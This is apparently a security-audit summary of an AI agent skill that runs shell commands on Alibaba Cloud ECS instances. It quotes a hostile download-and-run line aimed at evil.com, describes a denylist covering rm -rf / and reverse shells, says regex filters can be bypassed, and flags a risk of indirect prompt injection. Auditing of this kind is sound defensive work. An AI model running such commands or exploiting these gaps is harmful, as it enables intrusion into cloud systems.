The Agent Skills Directory

[COMMAND_EXECUTION]: The skill facilitates the remote execution of shell commands on Alibaba Cloud ECS instances using the run_cloud_assistant_command.py script and the official aliyun CLI. This is the core functionality of the skill and is documented with explicit security guidelines and user confirmation requirements.
[REMOTE_CODE_EXECUTION]: Several automated alerts regarding remote code execution (e.g., curl http://evil.com/x.sh | bash) were investigated. These specific strings were found within a security denylist (_BLOCKED_PATTERNS) in scripts/run_cloud_assistant_command.py. They serve as regex patterns and descriptive examples for a filter designed to prevent malicious command execution, not to perform it.
[COMMAND_EXECUTION]: The script scripts/run_cloud_assistant_command.py implements a regex-based security control to block destructive operations (such as rm -rf /) and reverse shell attempts. While this provides a layer of defense, users should note that regex-based filters for shell commands are potentially bypassable via shell obfuscation or expansion techniques.
[PROMPT_INJECTION]: The skill ingests data from external security alerts and vulnerability records to generate Markdown reports and security summaries. This creates a surface for indirect prompt injection (Category 8) if an attacker can influence the metadata (such as vulnerability names) within the user's Alibaba Cloud environment.

alibabacloud-sas-openclaw-security